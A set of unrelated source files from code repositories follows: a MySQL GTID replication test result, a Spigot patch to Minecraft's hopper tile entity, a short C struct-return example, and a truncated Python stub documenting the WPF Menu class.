1, 'SET GLOBAL GTID_MODE="OFF"', 'AUTOMATIC', '', 1, '', ''),
('',
1, 'SET GLOBAL GTID_MODE="OFF"', 'AUTOMATIC', '', 1, '', ''),
('',
2, 'ROLLBACK', 'ANONYMOUS', '', 0, '', '');
==== Test ====
---- Comment ----
# Statement 0:
[connection server_1_1]
include/assert.inc [GTID_NEXT should be 'AUTOMATIC']
include/assert.inc [GTID_OWNED should be '']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 0]
---- Comment ----
# Statement 1:
[connection server_1_1]
SET GTID_NEXT="ANONYMOUS";
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be 'ANONYMOUS']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
---- Comment ----
# Statement 2:
[connection server_1_1]
CREATE TABLE t1 (a INT);
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be '']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 0]
---- Comment ----
# Statement 3:
[connection server_1_1]
[START] CREATE TABLE t2 (a INT);
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
---- Comment ----
# Statement 4:
[connection server_1_1]
[END] #CREATE TABLE t2 (a INT);
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 0]
---- Comment ----
# Statement 5:
[connection server_1_1]
SET GTID_NEXT="ANONYMOUS";
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be 'ANONYMOUS']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
---- Comment ----
# Statement 6:
[connection server_1_1]
BEGIN;
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be 'ANONYMOUS']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
# Statement 7:
[connection server_1_1]
INSERT INTO t1 VALUES (1);
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be 'ANONYMOUS']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
---- Comment ----
# Statement 8:
[connection server_1_1]
COMMIT;
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be '']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 0]
---- Comment ----
# Statement 9:
[connection server_1_1]
BEGIN;
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be 'ANONYMOUS']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
---- Comment ----
# Statement 10:
[connection server_1_1]
COMMIT;
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be '']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 0]
---- Comment ----
# Statement 11:
[connection server_1_1]
BEGIN;
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be 'ANONYMOUS']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
# Statement 12:
[connection server_1_1]
ROLLBACK;
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be '']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 0]
---- Comment ----
# Statement 13:
[connection server_1_1]
BEGIN;
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be 'ANONYMOUS']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
# Statement 14:
[connection server_1_1]
INSERT INTO t1 VALUES (1);
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be 'ANONYMOUS']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
# Statement 15:
[connection server_1_1]
[START] DROP TABLE t2;
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 0]
# Statement 16:
[connection server_1_1]
[END] #DROP TABLE t2;
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 0]
---- Comment ----
# Statement 17:
[connection server_1_1]
[START] INSERT INTO t1 VALUES (1);
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
---- Comment ----
# Statement 18:
[connection server_1_1]
[END] #INSERT INTO t1 VALUES (1);
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 0]
---- Comment ----
# Statement 19:
[connection server_1_1]
SET AUTOCOMMIT = 0;
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be '']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 0]
---- Comment ----
# Statement 20:
[connection server_1_1]
INSERT INTO t1 VALUES (1);
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be 'ANONYMOUS']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
# Statement 21:
[connection server_1_1]
INSERT INTO t1 VALUES (1);
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be 'ANONYMOUS']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
# Statement 22:
[connection server_1_1]
ROLLBACK;
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be '']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 0]
---- Comment ----
# Statement 23:
[connection server_1_1]
BEGIN;
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be 'ANONYMOUS']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
# Statement 24:
[connection server_1_1]
include/rpl_connect.inc [creating server_1_1]
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 0]
---- Comment ----
# Statement 25:
[connection server_1_1]
SET GTID_NEXT="ANONYMOUS";
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be 'ANONYMOUS']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
# Statement 26:
[connection server_1_2]
include/assert.inc [GTID_NEXT should be 'AUTOMATIC']
include/assert.inc [GTID_OWNED should be '']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
# Statement 27:
[connection server_1_2]
SET GTID_NEXT="ANONYMOUS";
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be 'ANONYMOUS']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 2]
# Statement 28:
[connection server_1_3]
include/assert.inc [GTID_NEXT should be 'AUTOMATIC']
include/assert.inc [GTID_OWNED should be '']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 2]
# Statement 29:
[connection server_1_3]
SET GTID_NEXT="ANONYMOUS";
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be 'ANONYMOUS']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 3]
# Statement 30:
[connection server_1_2]
include/rpl_connect.inc [creating server_1_2]
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 2]
# Statement 31:
[connection server_1_1]
COMMIT;
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be '']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
# Statement 32:
[connection server_1_3]
ROLLBACK;
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be '']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 0]
---- Comment ----
# Statement 33:
[connection server_1_1]
SET GTID_NEXT="AUTOMATIC";
include/assert.inc [GTID_NEXT should be 'AUTOMATIC']
include/assert.inc [GTID_OWNED should be '']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 0]
---- Comment ----
# Statement 34:
[connection server_1_1]
SET GTID_NEXT="AUTOMATIC";
include/assert.inc [GTID_NEXT should be 'AUTOMATIC']
include/assert.inc [GTID_OWNED should be '']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 0]
---- Comment ----
# Statement 35:
[connection server_1_2]
SET GTID_NEXT="ANONYMOUS";
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be 'ANONYMOUS']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
# Statement 36:
[connection server_1_1]
SET GLOBAL GTID_MODE="OFF_PERMISSIVE";
include/assert.inc [GTID_NEXT should be 'AUTOMATIC']
include/assert.inc [GTID_OWNED should be '']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
# Statement 37:
[connection server_1_1]
SET GLOBAL GTID_MODE="ON_PERMISSIVE";
include/assert.inc [GTID_NEXT should be 'AUTOMATIC']
include/assert.inc [GTID_OWNED should be '']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
# Statement 38:
[connection server_1_1]
SET GLOBAL GTID_MODE="ON_PERMISSIVE";
include/assert.inc [GTID_NEXT should be 'AUTOMATIC']
include/assert.inc [GTID_OWNED should be '']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
# Statement 39:
[connection server_1_1]
SET GLOBAL GTID_MODE="OFF_PERMISSIVE";
include/assert.inc [GTID_NEXT should be 'AUTOMATIC']
include/assert.inc [GTID_OWNED should be '']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
# Statement 40:
[connection server_1_1]
SET GLOBAL GTID_MODE="OFF_PERMISSIVE";
include/assert.inc [GTID_NEXT should be 'AUTOMATIC']
include/assert.inc [GTID_OWNED should be '']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
# Statement 41:
[connection server_1_1]
SET GLOBAL GTID_MODE="OFF";
include/assert.inc [GTID_NEXT should be 'AUTOMATIC']
include/assert.inc [GTID_OWNED should be '']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
# Statement 42:
[connection server_1_1]
SET GLOBAL GTID_MODE="OFF";
include/assert.inc [GTID_NEXT should be 'AUTOMATIC']
include/assert.inc [GTID_OWNED should be '']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 1]
# Statement 43:
[connection server_1_2]
ROLLBACK;
include/assert.inc [GTID_NEXT should be 'ANONYMOUS']
include/assert.inc [GTID_OWNED should be '']
include/assert.inc [ONGOING_ANONYMOUS_TRANSACTION_COUNT should be 0]
SET GTID_NEXT = 'ANONYMOUS';
SET GLOBAL GTID_MODE = 'OFF_PERMISSIVE';
SET GLOBAL GTID_MODE = 'ON_PERMISSIVE';
ROLLBACK;
SET GLOBAL GTID_MODE = 'ON';
SELECT @@GLOBAL.GTID_MODE;
@@GLOBAL.GTID_MODE
ON
SET GTID_NEXT = 'ANONYMOUS';
ERROR HY000: @@SESSION.GTID_NEXT cannot be set to ANONYMOUS when @@GLOBAL.GTID_MODE = ON.
==== Clean up ====
SET GLOBAL GTID_MODE = 'ON_PERMISSIVE';
SET GLOBAL GTID_MODE = 'OFF_PERMISSIVE';
SET GLOBAL GTID_MODE = 'OFF';
DROP TABLE statements;
DROP TABLE t1;
SET GLOBAL ENFORCE_GTID_CONSISTENCY = OFF;
include/rpl_end.inc
| {
"pile_set_name": "Github"
} |
--- ../src-base/minecraft/net/minecraft/tileentity/TileEntityHopper.java
+++ ../src-work/minecraft/net/minecraft/tileentity/TileEntityHopper.java
@@ -7,12 +7,14 @@
import net.minecraft.block.BlockHopper;
import net.minecraft.entity.Entity;
import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.item.EntityMinecartHopper;
import net.minecraft.entity.player.EntityPlayer;
import net.minecraft.entity.player.InventoryPlayer;
import net.minecraft.inventory.Container;
import net.minecraft.inventory.ContainerHopper;
import net.minecraft.inventory.IInventory;
import net.minecraft.inventory.ISidedInventory;
+import net.minecraft.inventory.InventoryLargeChest;
import net.minecraft.inventory.ItemStackHelper;
import net.minecraft.item.ItemStack;
import net.minecraft.nbt.NBTTagCompound;
@@ -27,6 +29,12 @@
import net.minecraft.util.math.BlockPos;
import net.minecraft.util.math.MathHelper;
import net.minecraft.world.World;
+import org.bukkit.craftbukkit.entity.CraftHumanEntity;
+import org.bukkit.craftbukkit.inventory.CraftItemStack;
+import org.bukkit.entity.HumanEntity;
+import org.bukkit.event.inventory.InventoryMoveItemEvent;
+import org.bukkit.event.inventory.InventoryPickupItemEvent;
+import org.bukkit.inventory.Inventory;
public class TileEntityHopper extends TileEntityLockableLoot implements IHopper, ITickable
{
@@ -34,6 +42,32 @@
private int transferCooldown = -1;
private long tickedGameTime;
+ public List<HumanEntity> transaction = new java.util.ArrayList<HumanEntity>();
+ private int maxStack = MAX_STACK;
+
+ public List<ItemStack> getContents() {
+ return this.inventory;
+ }
+
+ public void setMaxStackSize(int size) {
+ maxStack = size;
+ }
+
+ @Override
+ public void onOpen(CraftHumanEntity who) {
+ transaction.add(who);
+ }
+
+ @Override
+ public void onClose(CraftHumanEntity who) {
+ transaction.remove(who);
+ }
+
+ @Override
+ public List<HumanEntity> getViewers() {
+ return transaction;
+ }
+
public static void registerFixesHopper(DataFixer fixer)
{
fixer.registerWalker(FixTypes.BLOCK_ENTITY, new ItemStackDataLists(TileEntityHopper.class, new String[] {"Items"}));
@@ -106,7 +140,7 @@
public int getInventoryStackLimit()
{
- return 64;
+ return maxStack;
}
public void update()
@@ -144,7 +178,7 @@
if (flag)
{
- this.setTransferCooldown(8);
+ this.setTransferCooldown(world.spigotConfig.hopperTransfer); // Spigot
this.markDirty();
return true;
}
@@ -213,11 +247,36 @@
if (!this.getStackInSlot(i).isEmpty())
{
ItemStack itemstack = this.getStackInSlot(i).copy();
- ItemStack itemstack1 = putStackInInventoryAllSlots(this, iinventory, this.decrStackSize(i, 1), enumfacing);
+ // ItemStack itemstack1 = putStackInInventoryAllSlots(this, iinventory, this.decrStackSize(i, 1), enumfacing);
+ // CraftBukkit start - Call event when pushing items into other inventories
+ CraftItemStack oitemstack = CraftItemStack.asCraftMirror(this.decrStackSize(i, 1));
+ Inventory destinationInventory;
+ // Have to special case large chests as they work oddly
+ if (iinventory instanceof InventoryLargeChest) {
+ destinationInventory = new org.bukkit.craftbukkit.inventory.CraftInventoryDoubleChest((InventoryLargeChest) iinventory);
+ } else {
+ destinationInventory = iinventory.getOwner().getInventory();
+ }
+
+ InventoryMoveItemEvent event = new InventoryMoveItemEvent(this.getOwner().getInventory(), oitemstack.clone(), destinationInventory, true);
+ this.getWorld().getServer().getPluginManager().callEvent(event);
+ if (event.isCancelled()) {
+ this.setInventorySlotContents(i, itemstack);
+ this.setTransferCooldown(8); // Delay hopper checks
+ return false;
+ }
+ ItemStack itemstack1 = putStackInInventoryAllSlots(this, iinventory, CraftItemStack.asNMSCopy(event.getItem()), enumfacing);
+
if (itemstack1.isEmpty())
{
- iinventory.markDirty();
+ // iinventory.markDirty();
+ if (event.getItem().equals(oitemstack)) {
+ iinventory.markDirty();
+ } else {
+ this.setInventorySlotContents(i, itemstack);
+ }
+ // CraftBukkit end
return true;
}
@@ -358,14 +417,47 @@
if (!itemstack.isEmpty() && canExtractItemFromSlot(inventoryIn, itemstack, index, direction))
{
ItemStack itemstack1 = itemstack.copy();
- ItemStack itemstack2 = putStackInInventoryAllSlots(inventoryIn, hopper, inventoryIn.decrStackSize(index, 1), (EnumFacing)null);
+ // ItemStack itemstack2 = putStackInInventoryAllSlots(inventoryIn, hopper, inventoryIn.decrStackSize(index, 1), (EnumFacing)null);
+ // CraftBukkit start - Call event on collection of items from inventories into the hopper
+ CraftItemStack oitemstack = CraftItemStack.asCraftMirror(inventoryIn.decrStackSize(index, hopper.getWorld().spigotConfig.hopperAmount));
+ Inventory sourceInventory;
+ // Have to special case large chests as they work oddly
+ if (inventoryIn instanceof InventoryLargeChest) {
+ sourceInventory = new org.bukkit.craftbukkit.inventory.CraftInventoryDoubleChest((InventoryLargeChest) inventoryIn);
+ } else {
+ sourceInventory = inventoryIn.getOwner().getInventory();
+ }
+
+ InventoryMoveItemEvent event = new InventoryMoveItemEvent(sourceInventory, oitemstack.clone(), hopper.getOwner().getInventory(), false);
+
+ hopper.getWorld().getServer().getPluginManager().callEvent(event);
+ if (event.isCancelled()) {
+ inventoryIn.setInventorySlotContents(index, itemstack1);
+
+ if (hopper instanceof TileEntityHopper) {
+ ((TileEntityHopper) hopper).setTransferCooldown(hopper.getWorld().spigotConfig.hopperTransfer); // Delay hopper checks
+ } else if (hopper instanceof EntityMinecartHopper) {
+ ((EntityMinecartHopper) hopper).setTransferTicker(hopper.getWorld().spigotConfig.hopperTransfer / 2); // Delay hopper minecart checks
+ }
+
+ return false;
+ }
+ int origCount = event.getItem().getAmount(); // Spigot
+ ItemStack itemstack2 = putStackInInventoryAllSlots(inventoryIn, hopper, CraftItemStack.asNMSCopy(event.getItem()), null);
+
if (itemstack2.isEmpty())
{
- inventoryIn.markDirty();
+ // inventoryIn.markDirty();
+ if (event.getItem().equals(oitemstack)) {
+ inventoryIn.markDirty();
+ } else {
+ inventoryIn.setInventorySlotContents(index, itemstack1);
+ }
+ // CraftBukkit end
return true;
}
-
+ itemstack1.shrink(origCount - itemstack2.getCount());
inventoryIn.setInventorySlotContents(index, itemstack1);
}
@@ -382,6 +474,11 @@
}
else
{
+ InventoryPickupItemEvent event = new InventoryPickupItemEvent(destination.getOwner().getInventory(), (org.bukkit.entity.Item) entity.getBukkitEntity());
+ entity.world.getServer().getPluginManager().callEvent(event);
+ if (event.isCancelled()) {
+ return false;
+ }
ItemStack itemstack = entity.getItem().copy();
ItemStack itemstack1 = putStackInInventoryAllSlots(source, destination, itemstack, (EnumFacing)null);
@@ -491,7 +588,7 @@
}
}
- tileentityhopper1.setTransferCooldown(8 - k);
+ tileentityhopper1.setTransferCooldown(tileentityhopper1.world.spigotConfig.hopperTransfer - k); // Spigot
}
}
@@ -525,6 +622,7 @@
int j = MathHelper.floor(y);
int k = MathHelper.floor(z);
BlockPos blockpos = new BlockPos(i, j, k);
+ if (!worldIn.isBlockLoaded(blockpos)) return null; // Spigot
net.minecraft.block.state.IBlockState state = worldIn.getBlockState(blockpos);
Block block = state.getBlock();
| {
"pile_set_name": "Github"
} |
/* Too large to fit in two registers, pass address of result object in %rdi. */
struct mem {
int x, y;
char c;
long l;
};
struct mem func(void)
{
struct mem p = {1, 2, 'a', 3};
return p;
}
int main() {
struct mem p;
p = func();
return p.x + p.y + p.c + p.l;
}
| {
"pile_set_name": "Github"
} |
class Menu(MenuBase,IResource,IAnimatable,IInputElement,IFrameworkInputElement,ISupportInitialize,IHaveResources,IQueryAmbient,IAddChild,IGeneratorHost,IContainItemStorage):
"""
Represents a Windows menu control that enables you to hierarchically organize elements associated with commands and event handlers.
Menu()
"""
def AddChild(self,*args):
"""
AddChild(self: ItemsControl,value: object)
Adds the specified object as the child of the System.Windows.Controls.ItemsControl object.
value: The object to add as a child.
"""
pass
def AddLogicalChild(self,*args):
"""
AddLogicalChild(self: FrameworkElement,child: object)
Adds the provided object to the logical tree of this element.
child: Child element to be added.
"""
pass
def AddText(self,*args):
"""
AddText(self: ItemsControl,text: str)
Adds the specified text string to the System.Windows.Controls.ItemsControl object.
text: The string to add.
"""
pass
def AddVisualChild(self,*args):
"""
AddVisualChild(self: Visual,child: Visual)
Defines the parent-child relationship between two visuals.
child: The child visual object to add to parent visual.
"""
pass
def ArrangeCore(self,*args):
"""
ArrangeCore(self: FrameworkElement,finalRect: Rect)
Implements System.Windows.UIElement.ArrangeCore(System.Windows.Rect) (defined as virtual in
System.Windows.UIElement) and seals the implementation.
finalRect: The final area within the parent that this element should use to arrange itself and its children.
"""
pass
def ArrangeOverride(self,*args):
"""
ArrangeOverride(self: Control,arrangeBounds: Size) -> Size
Called to arrange and size the content of a System.Windows.Controls.Control object.
arrangeBounds: The computed size that is used to arrange the content.
Returns: The size of the control.
"""
pass
def ClearContainerForItemOverride(self,*args):
"""
ClearContainerForItemOverride(self: ItemsControl,element: DependencyObject,item: object)
When overridden in a derived class,undoes the effects of the
System.Windows.Controls.ItemsControl.PrepareContainerForItemOverride(System.Windows.DependencyObj
ect,System.Object) method.
element: The container element.
item: The item.
"""
pass
def GetContainerForItemOverride(self,*args):
"""
GetContainerForItemOverride(self: MenuBase) -> DependencyObject
Creates or identifies the element used to display the specified item.
Returns: A System.Windows.Controls.MenuItem.
"""
pass
def GetLayoutClip(self,*args):
"""
GetLayoutClip(self: FrameworkElement,layoutSlotSize: Size) -> Geometry
Returns a geometry for a clipping mask. The mask applies if the layout system attempts to
arrange an element that is larger than the available display space.
layoutSlotSize: The size of the part of the element that does visual presentation.
Returns: The clipping geometry.
"""
pass
def GetTemplateChild(self,*args):
"""
GetTemplateChild(self: FrameworkElement,childName: str) -> DependencyObject
Returns the named element in the visual tree of an instantiated
System.Windows.Controls.ControlTemplate.
childName: Name of the child to find.
Returns: The requested element. May be null if no element of the requested name exists.
"""
pass
def GetUIParentCore(self,*args):
"""
GetUIParentCore(self: FrameworkElement) -> DependencyObject
Returns an alternative logical parent for this element if there is no visual parent.
Returns: Returns something other than null whenever a WPF framework-level implementation of this method
has a non-visual parent connection.
"""
pass
def GetVisualChild(self,*args):
"""
GetVisualChild(self: FrameworkElement,index: int) -> Visual
Overrides System.Windows.Media.Visual.GetVisualChild(System.Int32),and returns a child at the
specified index from a collection of child elements.
index: The zero-based index of the requested child element in the collection.
Returns: The requested child element. This should not return null; if the provided index is out of range,
an exception is thrown.
"""
pass
def HandleMouseButton(self,*args):
"""
HandleMouseButton(self: Menu,e: MouseButtonEventArgs)
Called when any mouse button is pressed or released.
e: A System.Windows.Input.MouseButtonEventArgs that contains the event data.
"""
pass
def HitTestCore(self,*args):
"""
HitTestCore(self: UIElement,hitTestParameters: GeometryHitTestParameters) -> GeometryHitTestResult
Implements
System.Windows.Media.Visual.HitTestCore(System.Windows.Media.GeometryHitTestParameters) to
supply base element hit testing behavior (returning System.Windows.Media.GeometryHitTestResult).
hitTestParameters: Describes the hit test to perform,including the initial hit point.
Returns: Results of the test,including the evaluated geometry.
HitTestCore(self: UIElement,hitTestParameters: PointHitTestParameters) -> HitTestResult
Implements System.Windows.Media.Visual.HitTestCore(System.Windows.Media.PointHitTestParameters)
to supply base element hit testing behavior (returning System.Windows.Media.HitTestResult).
hitTestParameters: Describes the hit test to perform,including the initial hit point.
Returns: Results of the test,including the evaluated point.
"""
pass
def IsItemItsOwnContainerOverride(self,*args):
"""
IsItemItsOwnContainerOverride(self: MenuBase,item: object) -> bool
Determines whether the specified item is,or is eligible to be,its own item container.
item: The item to check whether it is an item container.
Returns: true if the item is a System.Windows.Controls.MenuItem or a System.Windows.Controls.Separator;
otherwise,false.
"""
pass
def MeasureCore(self,*args):
"""
MeasureCore(self: FrameworkElement,availableSize: Size) -> Size
Implements basic measure-pass layout system behavior for System.Windows.FrameworkElement.
availableSize: The available size that the parent element can give to the child elements.
Returns: The desired size of this element in layout.
"""
pass
def MeasureOverride(self,*args):
"""
MeasureOverride(self: Control,constraint: Size) -> Size
Called to remeasure a control.
constraint: The maximum size that the method can return.
Returns: The size of the control,up to the maximum specified by constraint.
"""
pass
def OnAccessKey(self,*args):
"""
OnAccessKey(self: UIElement,e: AccessKeyEventArgs)
Provides class handling for when an access key that is meaningful for this element is invoked.
e: The event data to the access key event. The event data reports which key was invoked,and
indicate whether the System.Windows.Input.AccessKeyManager object that controls the sending of
these events also sent this access key invocation to other elements.
"""
pass
def OnAlternationCountChanged(self,*args):
"""
OnAlternationCountChanged(self: ItemsControl,oldAlternationCount: int,newAlternationCount: int)
Invoked when the System.Windows.Controls.ItemsControl.AlternationCount property changes.
oldAlternationCount: The old value of System.Windows.Controls.ItemsControl.AlternationCount.
newAlternationCount: The new value of System.Windows.Controls.ItemsControl.AlternationCount.
"""
pass
def OnChildDesiredSizeChanged(self,*args):
"""
OnChildDesiredSizeChanged(self: UIElement,child: UIElement)
Supports layout behavior when a child element is resized.
child: The child element that is being resized.
"""
pass
def OnContextMenuClosing(self,*args):
"""
OnContextMenuClosing(self: FrameworkElement,e: ContextMenuEventArgs)
Invoked whenever an unhandled System.Windows.FrameworkElement.ContextMenuClosing routed event
reaches this class in its route. Implement this method to add class handling for this event.
e: Provides data about the event.
"""
pass
def OnContextMenuOpening(self,*args):
"""
OnContextMenuOpening(self: FrameworkElement,e: ContextMenuEventArgs)
Invoked whenever an unhandled System.Windows.FrameworkElement.ContextMenuOpening routed event
reaches this class in its route. Implement this method to add class handling for this event.
e: The System.Windows.RoutedEventArgs that contains the event data.
"""
pass
def OnCreateAutomationPeer(self,*args):
"""
OnCreateAutomationPeer(self: Menu) -> AutomationPeer
Provides an appropriate System.Windows.Automation.Peers.MenuAutomationPeer implementation for
this control,as part of the WPF automation infrastructure.
Returns: The type-specific System.Windows.Automation.Peers.AutomationPeer implementation.
"""
pass
def OnDisplayMemberPathChanged(self,*args):
"""
OnDisplayMemberPathChanged(self: ItemsControl,oldDisplayMemberPath: str,newDisplayMemberPath: str)
Invoked when the System.Windows.Controls.ItemsControl.DisplayMemberPath property changes.
oldDisplayMemberPath: The old value of the System.Windows.Controls.ItemsControl.DisplayMemberPath property.
newDisplayMemberPath: New value of the System.Windows.Controls.ItemsControl.DisplayMemberPath property.
"""
pass
def OnDpiChanged(self,*args):
""" OnDpiChanged(self: Visual,oldDpi: DpiScale,newDpi: DpiScale) """
pass
def OnDragEnter(self,*args):
"""
OnDragEnter(self: UIElement,e: DragEventArgs)
Invoked when an unhandled System.Windows.DragDrop.DragEnter�attached event reaches an element in
its route that is derived from this class. Implement this method to add class handling for this
event.
e: The System.Windows.DragEventArgs that contains the event data.
"""
pass
def OnDragLeave(self,*args):
"""
OnDragLeave(self: UIElement,e: DragEventArgs)
Invoked when an unhandled System.Windows.DragDrop.DragLeave�attached event reaches an element in
its route that is derived from this class. Implement this method to add class handling for this
event.
e: The System.Windows.DragEventArgs that contains the event data.
"""
pass
def OnDragOver(self,*args):
"""
OnDragOver(self: UIElement,e: DragEventArgs)
Invoked when an unhandled System.Windows.DragDrop.DragOver�attached event reaches an element in
its route that is derived from this class. Implement this method to add class handling for this
event.
e: The System.Windows.DragEventArgs that contains the event data.
"""
pass
def OnDrop(self,*args):
"""
OnDrop(self: UIElement,e: DragEventArgs)
Invoked when an unhandled System.Windows.DragDrop.DragEnter�attached event reaches an element in
its route that is derived from this class. Implement this method to add class handling for this
event.
e: The System.Windows.DragEventArgs that contains the event data.
"""
pass
def OnGiveFeedback(self,*args):
"""
OnGiveFeedback(self: UIElement,e: GiveFeedbackEventArgs)
Invoked when an unhandled System.Windows.DragDrop.GiveFeedback�attached event reaches an element
in its route that is derived from this class. Implement this method to add class handling for
this event.
e: The System.Windows.GiveFeedbackEventArgs that contains the event data.
"""
pass
def OnGotFocus(self,*args):
"""
OnGotFocus(self: FrameworkElement,e: RoutedEventArgs)
Invoked whenever an unhandled System.Windows.UIElement.GotFocus event reaches this element in
its route.
e: The System.Windows.RoutedEventArgs that contains the event data.
"""
pass
def OnGotKeyboardFocus(self,*args):
"""
OnGotKeyboardFocus(self: UIElement,e: KeyboardFocusChangedEventArgs)
Invoked when an unhandled System.Windows.Input.Keyboard.GotKeyboardFocus�attached event reaches
an element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.KeyboardFocusChangedEventArgs that contains the event data.
"""
pass
def OnGotMouseCapture(self,*args):
"""
OnGotMouseCapture(self: UIElement,e: MouseEventArgs)
Invoked when an unhandled System.Windows.Input.Mouse.GotMouseCapture�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.MouseEventArgs that contains the event data.
"""
pass
def OnGotStylusCapture(self,*args):
"""
OnGotStylusCapture(self: UIElement,e: StylusEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.GotStylusCapture�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.StylusEventArgs that contains the event data.
"""
pass
def OnGotTouchCapture(self,*args):
"""
OnGotTouchCapture(self: UIElement,e: TouchEventArgs)
Provides class handling for the System.Windows.UIElement.GotTouchCapture routed event that
occurs when a touch is captured to this element.
e: A System.Windows.Input.TouchEventArgs that contains the event data.
"""
pass
def OnGroupStyleSelectorChanged(self,*args):
"""
OnGroupStyleSelectorChanged(self: ItemsControl,oldGroupStyleSelector: GroupStyleSelector,newGroupStyleSelector: GroupStyleSelector)
Invoked when the System.Windows.Controls.ItemsControl.GroupStyleSelector property changes.
oldGroupStyleSelector: Old value of the System.Windows.Controls.ItemsControl.GroupStyleSelector property.
newGroupStyleSelector: New value of the System.Windows.Controls.ItemsControl.GroupStyleSelector property.
"""
pass
def OnInitialized(self,*args):
"""
OnInitialized(self: Menu,e: EventArgs)
Called when the System.Windows.FrameworkElement.IsInitialized property is set to true.
e: An System.EventArgs that contains the event data.
"""
pass
def OnIsKeyboardFocusedChanged(self,*args):
"""
OnIsKeyboardFocusedChanged(self: UIElement,e: DependencyPropertyChangedEventArgs)
